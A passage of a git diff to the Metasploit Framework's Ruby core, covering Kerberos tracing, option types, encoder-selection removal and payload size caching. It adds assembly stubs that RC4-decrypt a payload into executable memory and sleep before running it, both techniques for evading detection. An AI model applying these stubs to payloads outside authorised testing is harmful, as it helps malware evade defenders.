msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY ) - [tgs_ticket, tgs_auth, ccache.credentials.first] + [tgs_ticket, tgs_auth, credential] end private @@ -1070,8 +1076,10 @@ def request_delegation_ticket(session_key, tgt_ticket, realm, client_name, tgt_e ) ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(delegated_tgs_res, delegated_tgs_auth) + delegated_credential = ccache.credentials.first + kerberos_trace_subscriber.on_credential(delegated_credential, source: 'Delegation TGS') - [delegated_tgs_ticket, delegated_tgs_auth, ccache.credentials.first] + [delegated_tgs_ticket, delegated_tgs_auth, delegated_credential] end # Search the database for a credential object that can be used for authentication. diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb index 7761f16283877..e36fdb5237ce4 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb @@ -3,7 +3,7 @@ # # This class stores Metasploit option configuration used across service authentication # -require 'msf/core/exploit/remote/kerberos/clock_skew' +require 'msf/core/opt_timedelta' module Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options # Create the list of options that a module must provide for Kerberos authentication via the given protocol @@ -38,10 +38,19 @@ def kerberos_auth_options(protocol:, auth_methods:) fallbacks: ['Rhostname'], conditions: option_conditions ), - Msf::OptString.new( + Msf::OptTimedelta.new( 'KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'], - regex: Msf::Exploit::Remote::Kerberos::ClockSkew::CLOCK_SKEW_REGEX, + conditions: option_conditions + ), + Msf::OptBool.new( + 'KerberosTicketTrace', + [false, 'Show AS/TGS/AP Kerberos requests and responses', false], + conditions: option_conditions + ), + Msf::OptString.new( + 'KerberosTicketTraceColors', + [false, 'Kerberos request and response colors for KerberosTicketTrace (unset to disable)', 'red/blu'], conditions: option_conditions ), Msf::OptAddress.new( @@ -66,6 +75,6 @@ def kerberos_auth_options(protocol:, auth_methods:) # # @return [Float] def kerberos_clock_skew_seconds - Msf::Exploit::Remote::Kerberos::ClockSkew.parse(datastore['KrbClockSkew']) + datastore['KrbClockSkew'] end end diff --git a/lib/msf/core/exploit/remote/ldap/queries.rb b/lib/msf/core/exploit/remote/ldap/queries.rb index 8ac263060bf0c..662473e6de426 100755 --- a/lib/msf/core/exploit/remote/ldap/queries.rb +++ b/lib/msf/core/exploit/remote/ldap/queries.rb @@ -84,7 +84,7 @@ def perform_ldap_query(ldap, filter, attributes, base, schema_dn, scope: nil) results end - def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil) + def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil, controls: []) if attributes.nil? || schema_dn.nil? attribute_properties = {} else @@ -99,7 +99,7 @@ def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scop scope ||= Net::LDAP::SearchScope_WholeSubtree result_count = 0 - ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, return_result: false) do |result| + ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, controls: controls, return_result: false) do |result| result_count += 1 yield result, attribute_properties if block_given? end diff --git a/lib/msf/core/exploit/remote/smb/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay_server.rb index 686a2edef446c..d16b1048c0464 100644 --- a/lib/msf/core/exploit/remote/smb/relay_server.rb +++ b/lib/msf/core/exploit/remote/smb/relay_server.rb @@ -117,13 +117,14 @@ def start_service(_opts = {}) validate_smb_hash_capture_datastore(datastore, ntlm_provider) - comm = _determine_server_comm(bindhost) + comm = _determine_server_comm(datastore['SRVHOST']) + print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") @service = Rex::ServiceManager.start( self.class::SMBRelayServer, { socket: { 'Comm' => comm, - 'LocalHost' => bindhost, + 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => datastore['SRVPORT'], 'Server' => true, 'Timeout' => datastore['SRV_TIMEOUT'], @@ -142,8 +143,6 @@ def start_service(_opts = {}) } } ) - print_status("SMB Server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}") - @service rescue Errno::EACCES => e fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e.to_s}") end diff --git a/lib/msf/core/exploit/remote/smb/server/share.rb b/lib/msf/core/exploit/remote/smb/server/share.rb index 71734631a0152..de2c6acfb824a 100644 --- a/lib/msf/core/exploit/remote/smb/server/share.rb +++ b/lib/msf/core/exploit/remote/smb/server/share.rb @@ -27,7 +27,6 @@ def initialize(info = {}) register_options( [ - OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections.']), OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/), OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']), OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)']) diff --git a/lib/msf/core/exploit/remote/socket_server.rb b/lib/msf/core/exploit/remote/socket_server.rb index d25779a7e6b19..0e08e53049a8a 100644 --- a/lib/msf/core/exploit/remote/socket_server.rb +++ b/lib/msf/core/exploit/remote/socket_server.rb @@ -111,7 +111,7 @@ def cleanup_service # Returns the local host that is being listened on. # def srvhost - datastore['SRVHOST'] # rubocop:disable Lint/DatastoreSrvhostUsage + datastore['SRVHOST'] end # @@ -121,40 +121,12 @@ def srvport datastore['SRVPORT'] end - def srvhost_addr - if datastore['LHOST'].present? - host = datastore["LHOST"] - else - if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 - if (respond_to?(:sock) and sock and sock.peerhost) - # Then this is a Passive-Aggressive module. It has a socket - # connected to the remote server from which we can deduce the - # appropriate source address. - host = Rex::Socket.source_address(sock.peerhost) - elsif datastore['RHOST'].present? - host = Rex::Socket.source_address(datastore['RHOST']) - else - # Otherwise, this module is only a server, not a client, *and* - # the payload does not have an LHOST option. This can happen, - # for example, with a browser exploit using a download-exec - # payload. In that case, just use the address of the interface - # with the default gateway and hope for the best. - host = Rex::Socket.source_address - end - else - host = srvhost - end - end - - host - end - # # Returns the address that the service is bound to. Can be different from SRVHOST when the ListenerBindAddress is # specified and can be used for binding to a specific address when NATing is in place. # def bindhost - datastore['ListenerBindAddress'].blank? ? srvhost : datastore['ListenerBindAddress'] + datastore['ListenerBindAddress'].blank? ? datastore['SRVHOST'] : datastore['ListenerBindAddress'] end def bindport diff --git a/lib/msf/core/opt_address_local.rb b/lib/msf/core/opt_address_local.rb index b75470cba2675..cffeb23cdcb7b 100644 --- a/lib/msf/core/opt_address_local.rb +++ b/lib/msf/core/opt_address_local.rb @@ -5,10 +5,39 @@ module Msf ### # -# Network address option that allows referencing an address based on the name of the interface it's associated with. +# Local network address option. # ### -class OptAddressLocal < OptAddressRoutable +class OptAddressLocal < OptAddress + def interfaces + begin + NetworkInterface.interfaces || [] + rescue NetworkInterface::Error => e + elog(e) + [] + end + end + + def normalize(value) + return unless value.kind_of?(String) + return value unless interfaces.include?(value) + + addrs = NetworkInterface.addresses(value).values.flatten + + # Strip interface name from address (see getifaddrs(3)) + addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr| + begin + IPAddr.new(addr) + rescue IPAddr::Error + false + end + end + + # Sort for deterministic normalization; preference ipv4 addresses followed by their value + sorted_addrs = addrs.sort_by { |addr| ip_addr = IPAddr.new(addr); [ip_addr.ipv4? ? 0 : 1, ip_addr.to_i] } + + sorted_addrs.any? ? sorted_addrs.first : '' + end def valid?(value, check_empty: true, datastore: nil) return false if check_empty && empty_required_value?(value) @@ -16,10 +45,6 @@ def valid?(value, check_empty: true, datastore: nil) return true if interfaces.include?(value) - # todo: this should probably have additional validation to ensure that the address is able to be bound to, this - # would mean that the address is either locally available, or available via a Rex::Socket channel, e.g. a Meterpreter - # session - super end end diff --git a/lib/msf/core/opt_address_routable.rb b/lib/msf/core/opt_address_routable.rb index 7fb0eb8921ce6..486e8e27e0e77 100644 --- a/lib/msf/core/opt_address_routable.rb +++ b/lib/msf/core/opt_address_routable.rb @@ -8,52 +8,9 @@ module Msf # ### class OptAddressRoutable < OptAddress - def interfaces - begin - NetworkInterface.interfaces || [] - rescue NetworkInterface::Error => e - elog(e) - [] - end - end - - def normalize(value) - return unless value.kind_of?(String) - return value unless interfaces.include?(value) - - addrs = NetworkInterface.addresses(value).values.flatten - - # Strip interface name from address (see getifaddrs(3)) - addrs = addrs.map { |x| x['addr'].split('%').first }.select do |addr| - begin - IPAddr.new(addr) - rescue IPAddr::Error - false - end - end - - # Sort for deterministic normalization; preference ipv4 addresses followed by their value - sorted_addrs = addrs.sort_by { |addr| ip_addr = IPAddr.new(addr); [ip_addr.ipv4? ? 0 : 1, ip_addr.to_i] } - - sorted_addrs.any? ? sorted_addrs.first : '' - end def valid?(value, check_empty: true, datastore: nil) - return false if check_empty && empty_required_value?(value) - return false unless value.kind_of?(String) || value.kind_of?(NilClass) - - return true if interfaces.include?(value) - return false if Rex::Socket.is_ip_addr?(value) && Rex::Socket.addr_atoi(value) == 0 - - if Rex::Socket.is_ipv4?(value) - ip_addr = IPAddr.new(value) - return false if IPAddr.new('0.0.0.0/8').include? ip_addr # this network - return false if IPAddr.new('224.0.0.0/4').include? ip_addr # multicast - return false if IPAddr.new('240.0.0.0/4').include? ip_addr # reserved - return false if IPAddr.new('255.255.255.255') == ip_addr # broadcast - end - super end end diff --git a/lib/msf/core/opt_timedelta.rb b/lib/msf/core/opt_timedelta.rb new file mode 100644 index 0000000000000..c4ac01931ad74 --- /dev/null +++ b/lib/msf/core/opt_timedelta.rb @@ -0,0 +1,64 @@ +# frozen_string_literal: true + +# -*- coding: binary -*- + +module Msf + class OptTimedelta < OptBase + TIMEDELTA_REGEX = /\A([+-]?\d+(?:\.\d+)?(?:[smhd])?)+\z/i.freeze + + UNIT_IN_SECONDS = { + 's' => 1, + 'm' => 60, + 'h' => 3_600, + 'd' => 86_400 + }.freeze + + attr_reader :allow_negative + + def initialize(in_name, attrs = [], allow_negative: true, **kwargs) + super(in_name, attrs, **kwargs) + @allow_negative = allow_negative + end + + def type + 'timedelta' + end + + def normalize(value) + self.class.parse(value) + end + + def valid?(value, check_empty: true, datastore: nil) + return false if check_empty && empty_required_value?(value) + + begin + parsed_value = self.class.parse(value) + rescue Msf::OptionValidateError + return false + end + + return false if !allow_negative && parsed_value.negative? + + super + end + + def self.parse(value) + return 0 if value.nil? + return value.to_f if value.is_a?(Numeric) + + trimmed_value = value.to_s.strip + return 0 if trimmed_value.empty? + return trimmed_value.to_f if trimmed_value.match?(/\A[+-]?\d+(?:\.\d+)?\z/) + raise Msf::OptionValidateError.new([], message: 'Invalid timedelta format') unless trimmed_value.match?(TIMEDELTA_REGEX) + + + total = 0 + trimmed_value.scan(/([+-]?\d+(?:\.\d+)?)([smhd]?)/i) do |amount, unit| + unit = 's' if unit.blank? + multiplier = UNIT_IN_SECONDS[unit.downcase] + total += amount.to_f * multiplier + end + total + end + end +end \ No newline at end of file diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 689845d8a869e..35d2d01cd94af 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -159,7 +159,12 @@ def staged? # This method returns an optional cached size value # def self.cached_size - csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil + csize = const_defined?('CachedSize') ? const_get('CachedSize') : nil + if ancestors.include?(Msf::Payload::Stager) + csize_overrides = const_defined?('CachedSizeOverrides') ? const_get('CachedSizeOverrides') : {} + csize = csize_overrides.fetch(self.refname, csize) + end + csize == :dynamic ? nil : csize end @@ -167,7 +172,12 @@ def self.cached_size # This method returns whether the payload generates variable-sized output # def self.dynamic_size? - csize = (const_defined?('CachedSize')) ? const_get('CachedSize') : nil + csize = const_defined?('CachedSize') ? const_get('CachedSize') : nil + if ancestors.include?(Msf::Payload::Stager) + csize_overrides = const_defined?('CachedSizeOverrides') ? const_get('CachedSizeOverrides') : {} + csize = csize_overrides.fetch(self.refname, csize) + end + csize == :dynamic end @@ -527,45 +537,6 @@ def self.choose_payload(mod) nil end - def self.choose_encoder(mod) - payload_name = mod.datastore['PAYLOAD'] - payload = mod.framework.payloads.create(payload_name) - return nil unless payload - compatible_encoders = payload.compatible_encoders.map(&:first) - configure_encoder = lambda do |encoder| - if payload.datastore.is_a?(Msf::DataStore) - payload_defaults = { 'ENCODER' => encoder } - mod.datastore.import_defaults_from_hash(payload_defaults, imported_by: 'choose_encoder') - else - mod.datastore['ENCODER'] = encoder - end - - encoder - end - - # If there is only one compatible encoder, return it immediately - if compatible_encoders.length == 1 - return configure_encoder.call(compatible_encoders.first) - end - - # Prefer encoders that are known to be reliable - preferred_encoders = [ - 'x86/shikata_ga_nai', - 'x64/zutto_dekiru', - 'cmd/base64', - ] - - preferred_encoders.each do |type| - encoder = compatible_encoders.find { |name| name.end_with?(type) } - - next unless encoder - - return configure_encoder.call(encoder) - end - - return compatible_encoders&.first - end - # # A placeholder stub, to be overridden by mixins # diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index bb31b9815c8e4..72b5d459deeec 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -2,6 +2,9 @@ module Msf::Payload::Java + # Mark the payload as dynamic as the generated JAR/zip files can differ in size depending on the host machine's zlib version + ForceDynamicCachedSize = true + # # Used by stages; all java stages need to define +stage_class_files+ as an # array of .class files located in data/java/ diff --git a/lib/msf/core/payload/java/reverse_http.rb b/lib/msf/core/payload/java/reverse_http.rb index 893135d5ee0f0..698e6b6f51e1a 100644 --- a/lib/msf/core/payload/java/reverse_http.rb +++ b/lib/msf/core/payload/java/reverse_http.rb @@ -15,6 +15,9 @@ module Payload::Java::ReverseHttp include Msf::Payload::UUID::Options include Msf::Payload::Java::PayloadOptions + # Mark the payload as dynamic as random length URIs are generated, and zip compression with a single char change can lead to size changes even if the original payload is the same length + ForceDynamicCachedSize = true + # # Register Java reverse_http specific options # diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb new file mode 100644 index 0000000000000..2e208dc94ac89 --- /dev/null +++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb @@ -0,0 +1,114 @@ +module Msf::Payload::Linux::X64::Rc4Decrypter + + def rc4_decrypter_stub(key_size: 0, payload_size: 0, encrypted_size: 0) + asm = <<-ASM +_start: + jmp _get_data_addr + +_got_data_addr: + pop r12 + + ; mmap(NULL, payload_size, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0) + mov esi, #{payload_size} + xor edi, edi + mov edx, 7 + mov r10d, 0x22 + mov r8d, 0xffffffff + xor r9d, r9d + mov eax, 9 + syscall + mov r13, rax + + ; Initialize S-box (256 bytes) on stack + sub rsp, 256 + mov rdi, rsp + xor ecx, ecx +_init_sbox: + mov byte [rdi + rcx], cl + inc ecx + cmp ecx, 256 + jne _init_sbox + + ; RC4 Key Scheduling Algorithm (KSA) + mov r8, r12 + mov r9d, #{key_size} + xor ecx, ecx + xor edx, edx +_ksa_loop: + movzx eax, byte [rdi + rcx] + add edx, eax + mov eax, ecx +_mod_loop: + cmp eax, r9d + jb _mod_done + sub eax, r9d + jmp _mod_loop +_mod_done: + movzx eax, byte [r8 + rax] + add edx, eax + and edx, 0xff + movzx eax, byte [rdi + rcx] + movzx r10d, byte [rdi + rdx] + mov byte [rdi + rcx], r10b + mov byte [rdi + rdx], al + inc ecx + cmp ecx, 256 + jne _ksa_loop + + ; RC4 Pseudo-Random Generation Algorithm (PRGA) + lea r8, [r12 + 256] + mov r9d, #{encrypted_size} + xor ecx, ecx + xor edx, edx + xor r10d, r10d +_prga_loop: + inc ecx + and ecx, 0xff + movzx eax, byte [rdi + rcx] + add edx, eax + and edx, 0xff + movzx eax, byte [rdi + rcx] + movzx r11d, byte [rdi + rdx] + mov byte [rdi + rcx], r11b + mov byte [rdi + rdx], al + add eax, r11d + and eax, 0xff + movzx eax, byte [rdi + rax] + xor al, byte [r8 + r10] + mov byte [r13 + r10], al + inc r10d + cmp r10d, r9d + jne _prga_loop + + add rsp, 256 + jmp r13 + +_get_data_addr: + call _got_data_addr + +; Data section layout: +; offset +0: key_data (256 bytes) +; offset +256: encrypted_data (variable length) + ASM + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + + def rc4_decrypter(opts = {}) + key = opts[:key] || Rex::Text.rand_text(16) + payload = opts[:data] || raise(ArgumentError, "Encrypted data required") + raise(ArgumentError, "Key must be <= 256 bytes") if key.length > 256 + + encrypted_data = Rex::Crypto::Rc4.rc4(key, payload) + + stub = rc4_decrypter_stub( + key_size: key.length, + payload_size: payload.length, + encrypted_size: encrypted_data.length + ) + + stub << key.ljust(256, "\x00") + stub << encrypted_data + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/linux/x64/sleep_evasion.rb b/lib/msf/core/payload/linux/x64/sleep_evasion.rb new file mode 100644 index 0000000000000..be5dd70cceb9a --- /dev/null +++ b/lib/msf/core/payload/linux/x64/sleep_evasion.rb @@ -0,0 +1,20 @@ +module Msf::Payload::Linux::X64::SleepEvasion + + def sleep_evasion(opts = {}) + seconds = opts[:seconds] || rand(60) + asm = <<-ASM + ; nanosleep(×pec, NULL) + push 0 ; timespec.tv_nsec = 0 + push #{seconds} ; timespec.tv_sec = + mov rdi, rsp ; rdi -> timespec on stack + xor rsi, rsi ; rsi = NULL (remaining time pointer) + mov eax, 35 ; syscall number for nanosleep (0x23) + syscall ; invoke syscall + add rsp, 16 ; restore stack + ; execution continues to appended payload + ASM + + Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index 9d4660419d5cd..131c5bb405344 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -1,6 +1,8 @@ # -*- coding: binary -*- module Msf::Payload::Python + # Mark the payload as dynamic, as the zlib compression with a single char change can lead to size changes even if the original payload is the same length + ForceDynamicCachedSize = true # # Encode the given python command in base64 and wrap it with a stub diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 81ec8696407d8..0f3d7f1602ed7 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -10,6 +10,8 @@ module Msf ### module Payload::Python::MeterpreterLoader + # Mark the payload as dynamic, as random uuid values lead to differing zlib compressed payloads + ForceDynamicCachedSize = true include Msf::Payload::Python include Msf::Payload::UUID::Options diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index a3777de068c0f..9575dc20ded8a 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -65,7 +65,7 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - return datastore['CMD'] || '' + return (datastore['CMD'] || '').b end end diff --git a/lib/msf/core/payload/windows/powershell.rb b/lib/msf/core/payload/windows/powershell.rb index 0ba12ed10a89e..2db58e2134a6f 100644 --- a/lib/msf/core/payload/windows/powershell.rb +++ b/lib/msf/core/payload/windows/powershell.rb @@ -9,6 +9,8 @@ module Msf ### module Payload::Windows::Powershell + # Mark the payload as dynamic as powershell scripts are randomized + ForceDynamicCachedSize = true def initialize(info = {}) ret = super(info) diff --git a/lib/msf/ui/console/command_dispatcher/common.rb b/lib/msf/ui/console/command_dispatcher/common.rb index 6f60343f8ae64..3dc3a90ca7556 100644 --- a/lib/msf/ui/console/command_dispatcher/common.rb +++ b/lib/msf/ui/console/command_dispatcher/common.rb @@ -130,22 +130,6 @@ def show_options(mod) # :nodoc: end end - if ((mod.exploit? or mod.evasion? or mod.payload?) and mod.datastore['ENCODER']) - e = framework.encoders.create(mod.datastore['ENCODER']) - - if (!e) - print_error("Invalid encoder defined: #{mod.datastore['ENCODER']}\n") - return - end - - e.share_datastore(mod.datastore) - - if (e) - e_opt = Serializer::ReadableText.dump_options(e, ' ') - print("\nEncoder options (#{mod.datastore['ENCODER']}):\n\n#{e_opt}\n") if (e_opt and e_opt.length > 0) - end - end - # Print the selected target if (mod.exploit? and mod.target) mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index f06cb7697b36e..a9269a94eb06c 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2190,25 +2190,6 @@ def cmd_set(*args) end end - # Set ENCODER - if name.upcase == 'ENCODER' && active_module && active_module.exploit? && !clear - value = trim_path(value, 'encoder') - - payload = active_module.framework.payloads.create(datastore['PAYLOAD']) - - unless payload - print_error("Please set a valid PAYLOAD before setting the ENCODER.") - return false - end - - index_from_list(payload.compatible_encoders, value) do |mod| - return false unless mod && mod.respond_to?(:first) - # [name, class] from compatible_encoders - value = mod.first - end - end - - unless global || valid_options.any? { |vo| vo.casecmp?(name) } message = "Unknown datastore option: #{name}." suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(name).first diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 0ed0acda8d490..0c966111e6ec2 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -288,10 +288,6 @@ def self.choose_payload(mod) Msf::Payload.choose_payload(mod) end - def self.choose_encoder(mod) - Msf::Payload.choose_encoder(mod) - end - end end end end end diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 95a5788516d9d..27ad73109ac86 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -908,14 +908,6 @@ def cmd_use(*args) print_status("No payload configured, defaulting to #{chosen_payload}") if chosen_payload end - # Choose a default encoder when the module is used, not run - if mod.datastore['ENCODER'] - print_status("Using configured encoder #{mod.datastore['ENCODER']}") - elsif dispatcher.respond_to?(:choose_encoder) - chosen_encoder = dispatcher.choose_encoder(mod) - print_status("No encoder configured, defaulting to #{chosen_encoder}") if chosen_encoder - end - if framework.features.enabled?(Msf::FeatureManager::DISPLAY_MODULE_ACTION) && mod.respond_to?(:actions) && mod.actions.size > 1 print_status "Setting default action %grn#{mod.action.name}%clr - view all #{mod.actions.size} actions with the %grnshow actions%clr command" end @@ -1112,7 +1104,7 @@ def cmd_reload_all(*args) wlog(log_msg) end - self.driver.run_single('reload') + self.driver.run_single('reload') if self.driver.active_module self.driver.run_single("banner") end @@ -1680,24 +1672,6 @@ def show_advanced_options(mod) # :nodoc: print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0) end end - - if ((mod.exploit? or mod.evasion? or mod.payload?) and mod.datastore['ENCODER']) - e = framework.encoders.create(mod.datastore['ENCODER']) - - if (!e) - print_error("Invalid encoder defined: #{mod.datastore['ENCODER']}\n") - return - end - - e.share_datastore(mod.datastore) - - if (e) - e_opt = Serializer::ReadableText.dump_advanced_options(e, ' ') - print("\nEncoder advanced options (#{mod.datastore['ENCODER']}):\n\n#{e_opt}\n") if (e_opt and e_opt.length > 0) - end - end - - print("\nView the full module info with the #{Msf::Ui::Tip.highlight('info')}, or #{Msf::Ui::Tip.highlight('info -d')} command.\n\n") end diff --git a/lib/msf/ui/tip.rb b/lib/msf/ui/tip.rb index c4a928c4da056..048d9b4ab4426 100644 --- a/lib/msf/ui/tip.rb +++ b/lib/msf/ui/tip.rb @@ -51,7 +51,8 @@ def self.highlight(string) "Execute a command across all sessions with #{highlight('sessions -C ')}", "Use #{highlight('post/multi/manage/autoroute')} to automatically add pivot routes", "Use #{highlight('check')} before #{highlight('run')} to confirm if a target is vulnerable", - "Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress ')} and #{highlight('set ReverseListenerBindPort ')} (e.g., ngrok)" + "Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress ')} and #{highlight('set ReverseListenerBindPort ')} (e.g., ngrok)", + "Use #{highlight('set LDAP::QuerySacl false')} to view security descriptors with the ldap_query module from non-privileged accounts" ].freeze private_constant :COMMON_TIPS diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index 2150755604837..7eff9a05d3f02 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -17,8 +17,10 @@ class PayloadCachedSize OPTS = { 'Format' => 'raw', 'Options' => { + 'VERBOSE' => false, 'CPORT' => 4444, 'LPORT' => 4444, + 'RPORT' => 4444, 'CMD' => '/bin/sh', 'URL' => 'http://a.com', 'PATH' => '/', @@ -45,65 +47,129 @@ class PayloadCachedSize }.freeze OPTS_IPV4 = { - 'LHOST' => '223.255.255.255', + 'LHOST' => '255.255.255.255', + 'RHOST' => '255.255.255.255', 'KHOST' => '255.255.255.255', 'AHOST' => '255.255.255.255' }.freeze OPTS_IPV6 = { - 'LHOST' => 'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', + 'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', + 'RHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', 'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', 'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' }.freeze - # Insert a new CachedSize value into the text of a payload module + # Inserts or updates the CachedSize constant in the text of a payload module. # # @param data [String] The source code of a payload module - # @param cached_size [String] The new value for cached_size, which - # should be either numeric or the string :dynamic - # @return [String] + # @param cached_size [String, Integer] The new value for CachedSize, which should be either an integer or the string ":dynamic" + # @return [String] The updated source code with the new CachedSize value def self.update_cache_constant(data, cached_size) data. gsub(/^\s*CachedSize\s*=\s*(\d+|:dynamic).*/, ''). gsub(/^(module MetasploitModule)\s*\n/) do |m| - "#{m.strip}\n\n CachedSize = #{cached_size}\n\n" + "#{m.strip}\n CachedSize = #{cached_size}\n\n" end end - # Insert a new CachedSize value into a payload module file + # Inserts or updates the CachedSizeOverrides constant in the text of a payload module, + # removing any previous CachedSizeStages, # Other stager sizes, or CachedSizeOverrides lines. + # + # @param data [String] The source code of a payload module + # @param stages_with_sizes [Array<{:stage => Msf::Payload::Stager, :size => Integer}>] Array of hashes with :stage (an Msf::Payload::Stager instance) and :size (Integer) + # @return [String] The updated source code with the new CachedSizeOverrides value + def self.update_stage_sizes_constant(data, stages_with_sizes) + sizes = stages_with_sizes.sort_by { |stage_with_size| stage_with_size[:stage].refname }.map do |stage_with_size| + [stage_with_size[:stage].refname, stage_with_size[:size]] + end + data_without_other_stages = data.gsub(/^\s*CachedSizeOverrides\s*=.*\n/, '') + return data_without_other_stages if sizes.empty? + + data_without_other_stages.gsub(/^\s*(CachedSize\s*=\s*(\d+|:dynamic))\s*\n/) do |m| + " #{m.strip}\n CachedSizeOverrides = {#{sizes.map { |(k, v)| %Q{"#{k}" => #{v}}}.join(', ')}}\n\n" + end + end + + # Insert or update the CachedSize value into a payload module file # # @param mod [Msf::Payload] The class of the payload module to update - # @param cached_size [String] The new value for cached_size, which - # which should be either numeric or the string :dynamic + # @param cached_size [String, Integer] The new value for cached_size, which + # should be either an integer or the string ":dynamic" # @return [void] def self.update_cached_size(mod, cached_size) mod_data = "" - ::File.open(mod.file_path, 'rb') do |fd| + file_path = mod.file_path + + ::File.open(file_path, 'rb') do |fd| mod_data = fd.read(fd.stat.size) end - ::File.open(mod.file_path, 'wb') do |fd| + ::File.open(file_path, 'wb') do |fd| fd.write update_cache_constant(mod_data, cached_size) end end - # Updates the payload module specified with the current CachedSize + # Insert or update the CachedSize value into a payload module file # # @param mod [Msf::Payload] The class of the payload module to update + # @param stages_with_sizes [Array<{:stage => Msf::Payload::Stager, :size => Integer}>] Array of hashes with :stage (an Msf::Payload::Stager instance) and :size (Integer) # @return [void] - def self.update_module_cached_size(mod) - update_cached_size(mod, compute_cached_size(mod)) + def self.update_stager_cached_sizes(mod, stages_with_sizes) + mod_data = "" + + file_path = mod.file_path + + ::File.open(file_path, 'rb') do |fd| + mod_data = fd.read(fd.stat.size) + end + + ::File.open(file_path, 'wb') do |fd| + fd.write update_stage_sizes_constant( mod_data, stages_with_sizes) + end + end + + # Updates the payload module specified with the current CachedSize + # + # @param framework [Msf::Framework] The Metasploit framework instance used for payload generation + # @param mod [Msf::Payload] The class of the payload module to update + # @return [String, Integer] The updated CachedSize value + def self.update_module_cached_size(framework, mod) + cached_size = compute_cached_size(framework, mod) + update_cached_size(mod, cached_size) + cached_size + end + + # Updates the stager payload module with the most frequent CachedSize value and sets CachedSizeOverrides for other stages. + # + # @param framework [Msf::Framework] The Metasploit framework instance used for payload generation + # @param stages [Array] Array of stager modules to update + # @return [Integer, String] The new CachedSize value set for the stager + def self.update_stager_module_cached_size(framework, stages) + stages_with_sizes = stages.map do |stage| + { stage: stage, size: compute_cached_size(framework, stage) } + end + most_frequent_cached_size = stages_with_sizes.map { |stage_with_size| stage_with_size[:size] } + .select { |size| size.is_a?(Numeric) }.tally.sort_by(&:last).to_h.keys.last + + new_size = most_frequent_cached_size || stages_with_sizes.first[:size] + other_sizes = stages_with_sizes.select { |stage_with_size| stage_with_size[:size] != new_size } + + 